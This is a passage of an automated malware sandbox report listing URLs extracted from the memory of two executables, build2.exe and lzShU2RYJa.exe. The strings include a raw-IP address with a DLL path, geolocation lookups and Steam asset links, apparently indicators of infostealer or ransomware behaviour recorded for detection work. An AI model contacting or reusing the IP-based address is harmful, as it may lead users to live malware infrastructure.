Source: build2.exe, 00000008.00000003.1918398373.0000000000976000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870762224.0000000000975000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll2
Source: build2.exe, 00000008.00000002.1936229908.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149CFBKE
Source: build2.exe, 00000008.00000002.1936229908.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149PUA4832FF8~YAAQLwwtFycGjvGKAQAAIGQc
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149a
Source: build2.exe, 00000008.00000002.1936229908.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149exe
Source: lzShU2RYJa.exe, 00000004.00000003.1760161085.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.0000000000819000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1680687620.0000000000814000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1680158138.0000000000814000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006FC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1825155531.0000000000705000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000003.1822511852.0000000000704000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083913179.000000000086D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000003.2082466740.000000000086C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Root
Source: lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000818000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000859000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000003.2082466740.000000000086C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json&
Source: lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json(
Source: lzShU2RYJa.exe, 00000001.00000002.1661223288.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-
Source: lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json2
Source: lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json5
Source: lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json7
Source: lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonX?
Source: lzShU2RYJa.exe, 00000006.00000002.4098404527.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonh
Source: lzShU2RYJa.exe, 0000000B.00000002.1825155531.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons7
Source: lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonw
Source: lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonx
Source: lzShU2RYJa.exe, 00000018.00000002.2083745811.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json~K
Source: lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/h_
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: lzShU2RYJa.exe, 00000004.00000003.1760161085.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: lzShU2RYJa.exe, 00000004.00000003.1760161085.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: lzShU2RYJa.exe, 00000004.00000003.1760161085.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
